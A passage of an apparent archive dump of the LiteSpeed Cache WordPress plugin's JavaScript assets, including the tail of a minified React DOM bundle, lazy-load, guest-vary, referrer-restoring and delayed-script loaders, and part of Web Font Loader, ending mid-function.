useMemo:wh,useReducer:mc,useRef:md,useState:function(a){return mc(ma)},useDebugValue:Pe,useDeferredValue:function(a){var b=mc(ma),c=b[0],d=b[1];nd(function(){var b=aa.transition;aa.transition=1;try{d(a)}finally{aa.transition=b}},[a]);return c},useTransition:function(){var a=mc(ma)[0];return[md().current,a]},useMutableSource:ph,useOpaqueIdentifier:function(){return mc(ma)[0]},unstable_isNewReconciler:!1},uj=fb.ReactCurrentOwner,fa=!1,qd={dehydrated:null,retryLane:0};var xj=function(a,b,c,d){for(c=
b.child;null!==c;){if(5===c.tag||6===c.tag)a.appendChild(c.stateNode);else if(4!==c.tag&&null!==c.child){c.child.return=c;c=c.child;continue}if(c===b)break;for(;null===c.sibling;){if(null===c.return||c.return===b)return;c=c.return}c.sibling.return=c.return;c=c.sibling}};var Kh=function(a){};var wj=function(a,b,c,d,e){var f=a.memoizedProps;if(f!==d){a=b.stateNode;$a(ka.current);e=null;switch(c){case "input":f=Md(a,f);d=Md(a,d);e=[];break;case "option":f=Pd(a,f);d=Pd(a,d);e=[];break;case "select":f=
B({},f,{value:void 0});d=B({},d,{value:void 0});e=[];break;case "textarea":f=Qd(a,f);d=Qd(a,d);e=[];break;default:"function"!==typeof f.onClick&&"function"===typeof d.onClick&&(a.onclick=Vc)}Sd(c,d);var g;c=null;for(l in f)if(!d.hasOwnProperty(l)&&f.hasOwnProperty(l)&&null!=f[l])if("style"===l){var h=f[l];for(g in h)h.hasOwnProperty(g)&&(c||(c={}),c[g]="")}else"dangerouslySetInnerHTML"!==l&&"children"!==l&&"suppressContentEditableWarning"!==l&&"suppressHydrationWarning"!==l&&"autoFocus"!==l&&(Ib.hasOwnProperty(l)?
e||(e=[]):(e=e||[]).push(l,null));for(l in d){var k=d[l];h=null!=f?f[l]:void 0;if(d.hasOwnProperty(l)&&k!==h&&(null!=k||null!=h))if("style"===l)if(h){for(g in h)!h.hasOwnProperty(g)||k&&k.hasOwnProperty(g)||(c||(c={}),c[g]="");for(g in k)k.hasOwnProperty(g)&&h[g]!==k[g]&&(c||(c={}),c[g]=k[g])}else c||(e||(e=[]),e.push(l,c)),c=k;else"dangerouslySetInnerHTML"===l?(k=k?k.__html:void 0,h=h?h.__html:void 0,null!=k&&h!==k&&(e=e||[]).push(l,k)):"children"===l?"string"!==typeof k&&"number"!==typeof k||(e=
e||[]).push(l,""+k):"suppressContentEditableWarning"!==l&&"suppressHydrationWarning"!==l&&(Ib.hasOwnProperty(l)?(null!=k&&"onScroll"===l&&z("scroll",a),e||h===k||(e=[])):"object"===typeof k&&null!==k&&k.$$typeof===ue?k.toString():(e=e||[]).push(l,k))}c&&(e=e||[]).push("style",c);var l=e;if(b.updateQueue=l)b.flags|=4}};var yj=function(a,b,c,d){c!==d&&(b.flags|=4)};var Lj="function"===typeof WeakMap?WeakMap:Map,Dj="function"===typeof WeakSet?WeakSet:Set,Ij=Math.ceil,vd=fb.ReactCurrentDispatcher,kf=
fb.ReactCurrentOwner,n=0,R=null,G=null,O=0,ta=0,cb=Ga(0),L=0,wd=null,Fb=0,La=0,Cb=0,jf=0,ef=null,df=0,We=Infinity,l=null,rd=!1,Ze=null,na=null,Sa=!1,tc=null,vc=90,nf=[],of=[],va=null,rc=0,ff=null,sd=-1,ua=0,td=0,uc=null,xd=!1;var Pj=function(a,b,c){var d=b.lanes;if(null!==a)if(a.memoizedProps!==b.pendingProps||J.current)fa=!0;else if(0!==(c&d))fa=0!==(a.flags&16384)?!0:!1;else{fa=!1;switch(b.tag){case 3:Dh(b);Ie();break;case 5:jh(b);break;case 1:S(b.type)&&Xc(b);break;case 4:Fe(b,b.stateNode.containerInfo);
break;case 10:d=b.memoizedProps.value;var e=b.type._context;A(bd,e._currentValue);e._currentValue=d;break;case 13:if(null!==b.memoizedState){if(0!==(c&b.child.childLanes))return Eh(a,b,c);A(E,E.current&1);b=sa(a,b,c);return null!==b?b.sibling:null}A(E,E.current&1);break;case 19:d=0!==(c&b.childLanes);if(0!==(a.flags&64)){if(d)return Jh(a,b,c);b.flags|=64}e=b.memoizedState;null!==e&&(e.rendering=null,e.tail=null,e.lastEffect=null);A(E,E.current);if(d)break;else return null;case 23:case 24:return b.lanes=
0,Se(a,b,c)}return sa(a,b,c)}else fa=!1;b.lanes=0;switch(b.tag){case 2:d=b.type;null!==a&&(a.alternate=null,b.alternate=null,b.flags|=2);a=b.pendingProps;e=vb(b,D.current);yb(b,c);e=Le(null,b,d,a,e,c);b.flags|=1;if("object"===typeof e&&null!==e&&"function"===typeof e.render&&void 0===e.$$typeof){b.tag=1;b.memoizedState=null;b.updateQueue=null;if(S(d)){var f=!0;Xc(b)}else f=!1;b.memoizedState=null!==e.state&&void 0!==e.state?e.state:null;Be(b);var g=d.getDerivedStateFromProps;"function"===typeof g&&
cd(b,d,g,a);e.updater=dd;b.stateNode=e;e._reactInternals=b;Ce(b,d,a,c);b=Te(null,b,d,!0,f,c)}else b.tag=0,U(null,b,e,c),b=b.child;return b;case 16:e=b.elementType;a:{null!==a&&(a.alternate=null,b.alternate=null,b.flags|=2);a=b.pendingProps;f=e._init;e=f(e._payload);b.type=e;f=b.tag=Vj(e);a=ea(e,a);switch(f){case 0:b=Re(null,b,e,a,c);break a;case 1:b=Ch(null,b,e,a,c);break a;case 11:b=yh(null,b,e,a,c);break a;case 14:b=zh(null,b,e,ea(e.type,a),d,c);break a}throw Error(m(306,e,""));}return b;case 0:return d=
b.type,e=b.pendingProps,e=b.elementType===d?e:ea(d,e),Re(a,b,d,e,c);case 1:return d=b.type,e=b.pendingProps,e=b.elementType===d?e:ea(d,e),Ch(a,b,d,e,c);case 3:Dh(b);d=b.updateQueue;if(null===a||null===d)throw Error(m(282));d=b.pendingProps;e=b.memoizedState;e=null!==e?e.element:null;bh(a,b);cc(b,d,null,c);d=b.memoizedState.element;if(d===e)Ie(),b=sa(a,b,c);else{e=b.stateNode;if(f=e.hydrate)Na=tb(b.stateNode.containerInfo.firstChild),ra=b,f=la=!0;if(f){a=e.mutableSourceEagerHydrationData;if(null!=
a)for(e=0;e<a.length;e+=2)f=a[e],f._workInProgressVersionPrimary=a[e+1],Bb.push(f);c=xh(b,null,d,c);for(b.child=c;c;)c.flags=c.flags&-3|1024,c=c.sibling}else U(a,b,d,c),Ie();b=b.child}return b;case 5:return jh(b),null===a&&He(b),d=b.type,e=b.pendingProps,f=null!==a?a.memoizedProps:null,g=e.children,se(d,e)?g=null:null!==f&&se(d,f)&&(b.flags|=16),Bh(a,b),U(a,b,g,c),b.child;case 6:return null===a&&He(b),null;case 13:return Eh(a,b,c);case 4:return Fe(b,b.stateNode.containerInfo),d=b.pendingProps,null===
a?b.child=od(b,null,d,c):U(a,b,d,c),b.child;case 11:return d=b.type,e=b.pendingProps,e=b.elementType===d?e:ea(d,e),yh(a,b,d,e,c);case 7:return U(a,b,b.pendingProps,c),b.child;case 8:return U(a,b,b.pendingProps.children,c),b.child;case 12:return U(a,b,b.pendingProps.children,c),b.child;case 10:a:{d=b.type._context;e=b.pendingProps;g=b.memoizedProps;f=e.value;var h=b.type._context;A(bd,h._currentValue);h._currentValue=f;if(null!==g)if(h=g.value,f=X(h,f)?0:("function"===typeof d._calculateChangedBits?
d._calculateChangedBits(h,f):1073741823)|0,0===f){if(g.children===e.children&&!J.current){b=sa(a,b,c);break a}}else for(h=b.child,null!==h&&(h.return=b);null!==h;){var k=h.dependencies;if(null!==k){g=h.child;for(var l=k.firstContext;null!==l;){if(l.context===d&&0!==(l.observedBits&f)){1===h.tag&&(l=Ia(-1,c&-c),l.tag=2,Ja(h,l));h.lanes|=c;l=h.alternate;null!==l&&(l.lanes|=c);ah(h.return,c);k.lanes|=c;break}l=l.next}}else g=10===h.tag?h.type===b.type?null:h.child:h.child;if(null!==g)g.return=h;else for(g=
h;null!==g;){if(g===b){g=null;break}h=g.sibling;if(null!==h){h.return=g.return;g=h;break}g=g.return}h=g}U(a,b,e.children,c);b=b.child}return b;case 9:return e=b.type,f=b.pendingProps,d=f.children,yb(b,c),e=Y(e,f.unstable_observedBits),d=d(e),b.flags|=1,U(a,b,d,c),b.child;case 14:return e=b.type,f=ea(e,b.pendingProps),f=ea(e.type,f),zh(a,b,e,f,d,c);case 15:return Ah(a,b,b.type,b.pendingProps,d,c);case 17:return d=b.type,e=b.pendingProps,e=b.elementType===d?e:ea(d,e),null!==a&&(a.alternate=null,b.alternate=
null,b.flags|=2),b.tag=1,S(d)?(a=!0,Xc(b)):a=!1,yb(b,c),fh(b,d,e),Ce(b,d,e,c),Te(null,b,d,!0,a,c);case 19:return Jh(a,b,c);case 23:return Se(a,b,c);case 24:return Se(a,b,c)}throw Error(m(156,b.tag));};var Z=function(a,b,c,d){return new Uj(a,b,c,d)};tf.prototype.render=function(a){yd(a,this._internalRoot,null,null)};tf.prototype.unmount=function(){var a=this._internalRoot,b=a.containerInfo;yd(null,a,null,function(){b[rb]=null})};var Ei=function(a){if(13===a.tag){var b=W();Pa(a,4,b);sf(a,4)}};var Yf=
function(a){if(13===a.tag){var b=W();Pa(a,67108864,b);sf(a,67108864)}};var Ci=function(a){if(13===a.tag){var b=W(),c=Oa(a);Pa(a,c,b);sf(a,c)}};var Bi=function(a,b){return b()};Vd=function(a,b,c){switch(b){case "input":Nd(a,c);b=c.name;if("radio"===c.type&&null!=b){for(c=a;c.parentNode;)c=c.parentNode;c=c.querySelectorAll("input[name="+JSON.stringify(""+b)+'][type="radio"]');for(b=0;b<c.length;b++){var d=c[b];if(d!==a&&d.form===a.form){var e=Hc(d);if(!e)throw Error(m(90));Ff(d);Nd(d,e)}}}break;case "textarea":Kf(a,
c);break;case "select":b=c.value,null!=b&&ib(a,!!c.multiple,b,!1)}};(function(a,b,c,d){me=a;fg=b;Xd=c;Sf=d})(ai,function(a,b,c,d,e){var f=n;n|=4;try{return Za(98,a.bind(null,b,c,d,e))}finally{n=f,0===n&&(Eb(),ja())}},function(){0===(n&49)&&(Jj(),Ra())},function(a,b){var c=n;n|=2;try{return a(b)}finally{n=c,0===n&&(Eb(),ja())}});var vk={Events:[Ob,pb,Hc,Qf,Rf,Ra,{current:!1}]};(function(a){a={bundleType:a.bundleType,version:a.version,rendererPackageName:a.rendererPackageName,rendererConfig:a.rendererConfig,
overrideHookState:null,overrideHookStateDeletePath:null,overrideHookStateRenamePath:null,overrideProps:null,overridePropsDeletePath:null,overridePropsRenamePath:null,setSuspenseHandler:null,scheduleUpdate:null,currentDispatcherRef:fb.ReactCurrentDispatcher,findHostInstanceByFiber:Yj,findFiberByHostInstance:a.findFiberByHostInstance||Zj,findHostInstancesForRefresh:null,scheduleRefresh:null,scheduleRoot:null,setRefreshHandler:null,getCurrentFiber:null};if("undefined"===typeof __REACT_DEVTOOLS_GLOBAL_HOOK__)a=
!1;else{var b=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(!b.isDisabled&&b.supportsFiber)try{$e=b.inject(a),db=b}catch(c){}a=!0}return a})({findFiberByHostInstance:Wa,bundleType:0,version:"17.0.1",rendererPackageName:"react-dom"});M.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=vk;M.createPortal=hi;M.findDOMNode=function(a){if(null==a)return null;if(1===a.nodeType)return a;var b=a._reactInternals;if(void 0===b){if("function"===typeof a.render)throw Error(m(188));throw Error(m(268,Object.keys(a)));
}a=Vf(b);a=null===a?null:a.stateNode;return a};M.flushSync=function(a,b){var c=n;if(0!==(c&48))return a(b);n|=1;try{if(a)return Za(99,a.bind(null,b))}finally{n=c,ja()}};M.hydrate=function(a,b,c){if(!wc(b))throw Error(m(200));return zd(null,a,b,!0,c)};M.render=function(a,b,c){if(!wc(b))throw Error(m(200));return zd(null,a,b,!1,c)};M.unmountComponentAtNode=function(a){if(!wc(a))throw Error(m(40));return a._reactRootContainer?(bi(function(){zd(null,null,a,!1,function(){a._reactRootContainer=null;a[rb]=
null})}),!0):!1};M.unstable_batchedUpdates=ai;M.unstable_createPortal=function(a,b){return hi(a,b,2<arguments.length&&void 0!==arguments[2]?arguments[2]:null)};M.unstable_renderSubtreeIntoContainer=function(a,b,c,d){if(!wc(c))throw Error(m(200));if(null==a||void 0===a._reactInternals)throw Error(m(38));return zd(a,b,c,!1,d)};M.version="17.0.1"});
})();litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/lazyload.init.js000064400000001611151031165260021323 0ustar00/**
 * Lazyload init js
 *
 * @author LiteSpeed
 * @since 1.4
 *
 */

(function (window, document) {
	'use strict';

	var instance;
	var update_lazyload;

	var litespeed_finish_callback = function () {
		document.body.classList.add('litespeed_lazyloaded');
	};

	var init = function () {
		console.log('[LiteSpeed] Start Lazy Load');
		instance = new LazyLoad(
			Object.assign(
				{},
				window.lazyLoadOptions || {},
				{
					elements_selector: '[data-lazyloaded]',
					callback_finish: litespeed_finish_callback,
				},
			)
		);

		update_lazyload = function () {
			instance.update();
		};

		if (window.MutationObserver) {
			new MutationObserver(update_lazyload).observe(document.documentElement, { childList: true, subtree: true, attributes: true });
		}
	};

	window.addEventListener ? window.addEventListener('load', init, false) : window.attachEvent('onload', init);
})(window, document);
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/guest.js000064400000001344151031165260017674 0ustar00var litespeed_vary = document.cookie.replace(/(?:(?:^|.*;\s*)_lscache_vary\s*\=\s*([^;]*).*$)|^.*$/, '$1');
if (!litespeed_vary) {
	// Note: as the vary may be changed in Login Cookie option, even the visitor doesn't have this cookie, it doesn't mean the visitor doesn't have the vary, so still need PHP side to decide if need to set vary or not.
	fetch('litespeed_url', {
		method: 'POST',
		cache: 'no-cache',
		redirect: 'follow',
	})
		.then(response => response.json())
		.then(data => {
			console.log(data);
			if (data.hasOwnProperty('reload') && data.reload == 'yes') {
				// Save doc.ref for organic traffic usage
				sessionStorage.setItem('litespeed_docref', document.referrer);

				window.location.reload(true);
			}
		});
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/guest.docref.js000064400000000367151031165260021141 0ustar00var litespeed_docref = sessionStorage.getItem('litespeed_docref');
if (litespeed_docref) {
	Object.defineProperty(document, 'referrer', {
		get: function () {
			return litespeed_docref;
		},
	});
	sessionStorage.removeItem('litespeed_docref');
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/guest.docref.min.js000064400000000327151031165260021717 0ustar00var litespeed_docref=sessionStorage.getItem("litespeed_docref");litespeed_docref&&(Object.defineProperty(document,"referrer",{get:function(){return litespeed_docref}}),sessionStorage.removeItem("litespeed_docref"));litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/js_delay.min.js000064400000003265151031165260021125 0ustar00window.litespeed_ui_events=window.litespeed_ui_events||["mouseover","click","keydown","wheel","touchmove","touchstart"];var urlCreator=window.URL||window.webkitURL;function litespeed_load_delayed_js_force(){console.log("[LiteSpeed] Start Load JS Delayed"),litespeed_ui_events.forEach(e=>{window.removeEventListener(e,litespeed_load_delayed_js_force,{passive:!0})}),document.querySelectorAll("iframe[data-litespeed-src]").forEach(e=>{e.setAttribute("src",e.getAttribute("data-litespeed-src"))}),"loading"==document.readyState?window.addEventListener("DOMContentLoaded",litespeed_load_delayed_js):litespeed_load_delayed_js()}litespeed_ui_events.forEach(e=>{window.addEventListener(e,litespeed_load_delayed_js_force,{passive:!0})});async function litespeed_load_delayed_js(){let t=[];for(var d in document.querySelectorAll('script[type="litespeed/javascript"]').forEach(e=>{t.push(e)}),t)await new Promise(e=>litespeed_load_one(t[d],e));document.dispatchEvent(new Event("DOMContentLiteSpeedLoaded")),window.dispatchEvent(new Event("DOMContentLiteSpeedLoaded"))}function litespeed_load_one(t,e){console.log("[LiteSpeed] Load ",t);var d=document.createElement("script");d.addEventListener("load",e),d.addEventListener("error",e),t.getAttributeNames().forEach(e=>{"type"!=e&&d.setAttribute("data-src"==e?"src":e,t.getAttribute(e))});let a=!(d.type="text/javascript");!d.src&&t.textContent&&(d.src=litespeed_inline2src(t.textContent),a=!0),t.after(d),t.remove(),a&&e()}function litespeed_inline2src(t){try{var d=urlCreator.createObjectURL(new Blob([t.replace(/^(?:<!--)?(.*?)(?:-->)?$/gm,"$1")],{type:"text/javascript"}))}catch(e){d="data:text/javascript;base64,"+btoa(t.replace(/^(?:<!--)?(.*?)(?:-->)?$/gm,"$1"))}return d}litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/webfontloader.js000064400000030331151031165260021376 0ustar00/* Web Font Loader v1.6.28 - (c) Adobe Systems, Google. License: Apache 2.0 */(function(){function aa(a,b,c){return a.call.apply(a.bind,arguments)}function ba(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}}function p(a,b,c){p=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?aa:ba;return p.apply(null,arguments)}var q=Date.now||function(){return+new Date};function ca(a,b){this.a=a;this.o=b||a;this.c=this.o.document}var da=!!window.FontFace;function t(a,b,c,d){b=a.c.createElement(b);if(c)for(var e in c)c.hasOwnProperty(e)&&("style"==e?b.style.cssText=c[e]:b.setAttribute(e,c[e]));d&&b.appendChild(a.c.createTextNode(d));return b}function u(a,b,c){a=a.c.getElementsByTagName(b)[0];a||(a=document.documentElement);a.insertBefore(c,a.lastChild)}function v(a){a.parentNode&&a.parentNode.removeChild(a)}
function w(a,b,c){b=b||[];c=c||[];for(var d=a.className.split(/\s+/),e=0;e<b.length;e+=1){for(var f=!1,g=0;g<d.length;g+=1)if(b[e]===d[g]){f=!0;break}f||d.push(b[e])}b=[];for(e=0;e<d.length;e+=1){f=!1;for(g=0;g<c.length;g+=1)if(d[e]===c[g]){f=!0;break}f||b.push(d[e])}a.className=b.join(" ").replace(/\s+/g," ").replace(/^\s+|\s+$/,"")}function y(a,b){for(var c=a.className.split(/\s+/),d=0,e=c.length;d<e;d++)if(c[d]==b)return!0;return!1}
function ea(a){return a.o.location.hostname||a.a.location.hostname}function z(a,b,c){function d(){m&&e&&f&&(m(g),m=null)}b=t(a,"link",{rel:"stylesheet",href:b,media:"all"});var e=!1,f=!0,g=null,m=c||null;da?(b.onload=function(){e=!0;d()},b.onerror=function(){e=!0;g=Error("Stylesheet failed to load");d()}):setTimeout(function(){e=!0;d()},0);u(a,"head",b)}
function A(a,b,c,d){var e=a.c.getElementsByTagName("head")[0];if(e){var f=t(a,"script",{src:b}),g=!1;f.onload=f.onreadystatechange=function(){g||this.readyState&&"loaded"!=this.readyState&&"complete"!=this.readyState||(g=!0,c&&c(null),f.onload=f.onreadystatechange=null,"HEAD"==f.parentNode.tagName&&e.removeChild(f))};e.appendChild(f);setTimeout(function(){g||(g=!0,c&&c(Error("Script load timeout")))},d||5E3);return f}return null};function B(){this.a=0;this.c=null}function C(a){a.a++;return function(){a.a--;D(a)}}function E(a,b){a.c=b;D(a)}function D(a){0==a.a&&a.c&&(a.c(),a.c=null)};function F(a){this.a=a||"-"}F.prototype.c=function(a){for(var b=[],c=0;c<arguments.length;c++)b.push(arguments[c].replace(/[\W_]+/g,"").toLowerCase());return b.join(this.a)};function G(a,b){this.c=a;this.f=4;this.a="n";var c=(b||"n4").match(/^([nio])([1-9])$/i);c&&(this.a=c[1],this.f=parseInt(c[2],10))}function fa(a){return H(a)+" "+(a.f+"00")+" 300px "+I(a.c)}function I(a){var b=[];a=a.split(/,\s*/);for(var c=0;c<a.length;c++){var d=a[c].replace(/['"]/g,"");-1!=d.indexOf(" ")||/^\d/.test(d)?b.push("'"+d+"'"):b.push(d)}return b.join(",")}function J(a){return a.a+a.f}function H(a){var b="normal";"o"===a.a?b="oblique":"i"===a.a&&(b="italic");return b}
function ga(a){var b=4,c="n",d=null;a&&((d=a.match(/(normal|oblique|italic)/i))&&d[1]&&(c=d[1].substr(0,1).toLowerCase()),(d=a.match(/([1-9]00|normal|bold)/i))&&d[1]&&(/bold/i.test(d[1])?b=7:/[1-9]00/.test(d[1])&&(b=parseInt(d[1].substr(0,1),10))));return c+b};function ha(a,b){this.c=a;this.f=a.o.document.documentElement;this.h=b;this.a=new F("-");this.j=!1!==b.events;this.g=!1!==b.classes}function ia(a){a.g&&w(a.f,[a.a.c("wf","loading")]);K(a,"loading")}function L(a){if(a.g){var b=y(a.f,a.a.c("wf","active")),c=[],d=[a.a.c("wf","loading")];b||c.push(a.a.c("wf","inactive"));w(a.f,c,d)}K(a,"inactive")}function K(a,b,c){if(a.j&&a.h[b])if(c)a.h[b](c.c,J(c));else a.h[b]()};function ja(){this.c={}}function ka(a,b,c){var d=[],e;for(e in b)if(b.hasOwnProperty(e)){var f=a.c[e];f&&d.push(f(b[e],c))}return d};function M(a,b){this.c=a;this.f=b;this.a=t(this.c,"span",{"aria-hidden":"true"},this.f)}function N(a){u(a.c,"body",a.a)}function O(a){return"display:block;position:absolute;top:-9999px;left:-9999px;font-size:300px;width:auto;height:auto;line-height:normal;margin:0;padding:0;font-variant:normal;white-space:nowrap;font-family:"+I(a.c)+";"+("font-style:"+H(a)+";font-weight:"+(a.f+"00")+";")};function P(a,b,c,d,e,f){this.g=a;this.j=b;this.a=d;this.c=c;this.f=e||3E3;this.h=f||void 0}P.prototype.start=function(){var a=this.c.o.document,b=this,c=q(),d=new Promise(function(d,e){function f(){q()-c>=b.f?e():a.fonts.load(fa(b.a),b.h).then(function(a){1<=a.length?d():setTimeout(f,25)},function(){e()})}f()}),e=null,f=new Promise(function(a,d){e=setTimeout(d,b.f)});Promise.race([f,d]).then(function(){e&&(clearTimeout(e),e=null);b.g(b.a)},function(){b.j(b.a)})};function Q(a,b,c,d,e,f,g){this.v=a;this.B=b;this.c=c;this.a=d;this.s=g||"BESbswy";this.f={};this.w=e||3E3;this.u=f||null;this.m=this.j=this.h=this.g=null;this.g=new M(this.c,this.s);this.h=new M(this.c,this.s);this.j=new M(this.c,this.s);this.m=new M(this.c,this.s);a=new G(this.a.c+",serif",J(this.a));a=O(a);this.g.a.style.cssText=a;a=new G(this.a.c+",sans-serif",J(this.a));a=O(a);this.h.a.style.cssText=a;a=new G("serif",J(this.a));a=O(a);this.j.a.style.cssText=a;a=new G("sans-serif",J(this.a));a=
O(a);this.m.a.style.cssText=a;N(this.g);N(this.h);N(this.j);N(this.m)}var R={D:"serif",C:"sans-serif"},S=null;function T(){if(null===S){var a=/AppleWebKit\/([0-9]+)(?:\.([0-9]+))/.exec(window.navigator.userAgent);S=!!a&&(536>parseInt(a[1],10)||536===parseInt(a[1],10)&&11>=parseInt(a[2],10))}return S}Q.prototype.start=function(){this.f.serif=this.j.a.offsetWidth;this.f["sans-serif"]=this.m.a.offsetWidth;this.A=q();U(this)};
function la(a,b,c){for(var d in R)if(R.hasOwnProperty(d)&&b===a.f[R[d]]&&c===a.f[R[d]])return!0;return!1}function U(a){var b=a.g.a.offsetWidth,c=a.h.a.offsetWidth,d;(d=b===a.f.serif&&c===a.f["sans-serif"])||(d=T()&&la(a,b,c));d?q()-a.A>=a.w?T()&&la(a,b,c)&&(null===a.u||a.u.hasOwnProperty(a.a.c))?V(a,a.v):V(a,a.B):ma(a):V(a,a.v)}function ma(a){setTimeout(p(function(){U(this)},a),50)}function V(a,b){setTimeout(p(function(){v(this.g.a);v(this.h.a);v(this.j.a);v(this.m.a);b(this.a)},a),0)};function W(a,b,c){this.c=a;this.a=b;this.f=0;this.m=this.j=!1;this.s=c}var X=null;W.prototype.g=function(a){var b=this.a;b.g&&w(b.f,[b.a.c("wf",a.c,J(a).toString(),"active")],[b.a.c("wf",a.c,J(a).toString(),"loading"),b.a.c("wf",a.c,J(a).toString(),"inactive")]);K(b,"fontactive",a);this.m=!0;na(this)};
W.prototype.h=function(a){var b=this.a;if(b.g){var c=y(b.f,b.a.c("wf",a.c,J(a).toString(),"active")),d=[],e=[b.a.c("wf",a.c,J(a).toString(),"loading")];c||d.push(b.a.c("wf",a.c,J(a).toString(),"inactive"));w(b.f,d,e)}K(b,"fontinactive",a);na(this)};function na(a){0==--a.f&&a.j&&(a.m?(a=a.a,a.g&&w(a.f,[a.a.c("wf","active")],[a.a.c("wf","loading"),a.a.c("wf","inactive")]),K(a,"active")):L(a.a))};function oa(a){this.j=a;this.a=new ja;this.h=0;this.f=this.g=!0}oa.prototype.load=function(a){this.c=new ca(this.j,a.context||this.j);this.g=!1!==a.events;this.f=!1!==a.classes;pa(this,new ha(this.c,a),a)};
function qa(a,b,c,d,e){var f=0==--a.h;(a.f||a.g)&&setTimeout(function(){var a=e||null,m=d||null||{};if(0===c.length&&f)L(b.a);else{b.f+=c.length;f&&(b.j=f);var h,l=[];for(h=0;h<c.length;h++){var k=c[h],n=m[k.c],r=b.a,x=k;r.g&&w(r.f,[r.a.c("wf",x.c,J(x).toString(),"loading")]);K(r,"fontloading",x);r=null;if(null===X)if(window.FontFace){var x=/Gecko.*Firefox\/(\d+)/.exec(window.navigator.userAgent),xa=/OS X.*Version\/10\..*Safari/.exec(window.navigator.userAgent)&&/Apple/.exec(window.navigator.vendor);
X=x?42<parseInt(x[1],10):xa?!1:!0}else X=!1;X?r=new P(p(b.g,b),p(b.h,b),b.c,k,b.s,n):r=new Q(p(b.g,b),p(b.h,b),b.c,k,b.s,a,n);l.push(r)}for(h=0;h<l.length;h++)l[h].start()}},0)}function pa(a,b,c){var d=[],e=c.timeout;ia(b);var d=ka(a.a,c,a.c),f=new W(a.c,b,e);a.h=d.length;b=0;for(c=d.length;b<c;b++)d[b].load(function(b,d,c){qa(a,f,b,d,c)})};function ra(a,b){this.c=a;this.a=b}
ra.prototype.load=function(a){function b(){if(f["__mti_fntLst"+d]){var c=f["__mti_fntLst"+d](),e=[],h;if(c)for(var l=0;l<c.length;l++){var k=c[l].fontfamily;void 0!=c[l].fontStyle&&void 0!=c[l].fontWeight?(h=c[l].fontStyle+c[l].fontWeight,e.push(new G(k,h))):e.push(new G(k))}a(e)}else setTimeout(function(){b()},50)}var c=this,d=c.a.projectId,e=c.a.version;if(d){var f=c.c.o;A(this.c,(c.a.api||"https://fast.fonts.net/jsapi")+"/"+d+".js"+(e?"?v="+e:""),function(e){e?a([]):(f["__MonotypeConfiguration__"+
d]=function(){return c.a},b())}).id="__MonotypeAPIScript__"+d}else a([])};function sa(a,b){this.c=a;this.a=b}sa.prototype.load=function(a){var b,c,d=this.a.urls||[],e=this.a.families||[],f=this.a.testStrings||{},g=new B;b=0;for(c=d.length;b<c;b++)z(this.c,d[b],C(g));var m=[];b=0;for(c=e.length;b<c;b++)if(d=e[b].split(":"),d[1])for(var h=d[1].split(","),l=0;l<h.length;l+=1)m.push(new G(d[0],h[l]));else m.push(new G(d[0]));E(g,function(){a(m,f)})};function ta(a,b){a?this.c=a:this.c=ua;this.a=[];this.f=[];this.g=b||""}var ua="https://fonts.googleapis.com/css";function va(a,b){for(var c=b.length,d=0;d<c;d++){var e=b[d].split(":");3==e.length&&a.f.push(e.pop());var f="";2==e.length&&""!=e[1]&&(f=":");a.a.push(e.join(f))}}
function wa(a){if(0==a.a.length)throw Error("No fonts to load!");if(-1!=a.c.indexOf("kit="))return a.c;for(var b=a.a.length,c=[],d=0;d<b;d++)c.push(a.a[d].replace(/ /g,"+"));b=a.c+"?family="+c.join("%7C");0<a.f.length&&(b+="&subset="+a.f.join(","));0<a.g.length&&(b+="&text="+encodeURIComponent(a.g));return b};function ya(a){this.f=a;this.a=[];this.c={}}
var za={latin:"BESbswy","latin-ext":"\u00e7\u00f6\u00fc\u011f\u015f",cyrillic:"\u0439\u044f\u0416",greek:"\u03b1\u03b2\u03a3",khmer:"\u1780\u1781\u1782",Hanuman:"\u1780\u1781\u1782"},Aa={thin:"1",extralight:"2","extra-light":"2",ultralight:"2","ultra-light":"2",light:"3",regular:"4",book:"4",medium:"5","semi-bold":"6",semibold:"6","demi-bold":"6",demibold:"6",bold:"7","extra-bold":"8",extrabold:"8","ultra-bold":"8",ultrabold:"8",black:"9",heavy:"9",l:"3",r:"4",b:"7"},Ba={i:"i",italic:"i",n:"n",normal:"n"},
Ca=/^(thin|(?:(?:extra|ultra)-?)?light|regular|book|medium|(?:(?:semi|demi|extra|ultra)-?)?bold|black|heavy|l|r|b|[1-9]00)?(n|i|normal|italic)?$/;
function Da(a){for(var b=a.f.length,c=0;c<b;c++){var d=a.f[c].split(":"),e=d[0].replace(/\+/g," "),f=["n4"];if(2<=d.length){var g;var m=d[1];g=[];if(m)for(var m=m.split(","),h=m.length,l=0;l<h;l++){var k;k=m[l];if(k.match(/^[\w-]+$/)){var n=Ca.exec(k.toLowerCase());if(null==n)k="";else{k=n[2];k=null==k||""==k?"n":Ba[k];n=n[1];if(null==n||""==n)n="4";else var r=Aa[n],n=r?r:isNaN(n)?"4":n.substr(0,1);k=[k,n].join("")}}else k="";k&&g.push(k)}0<g.length&&(f=g);3==d.length&&(d=d[2],g=[],d=d?d.split(","):
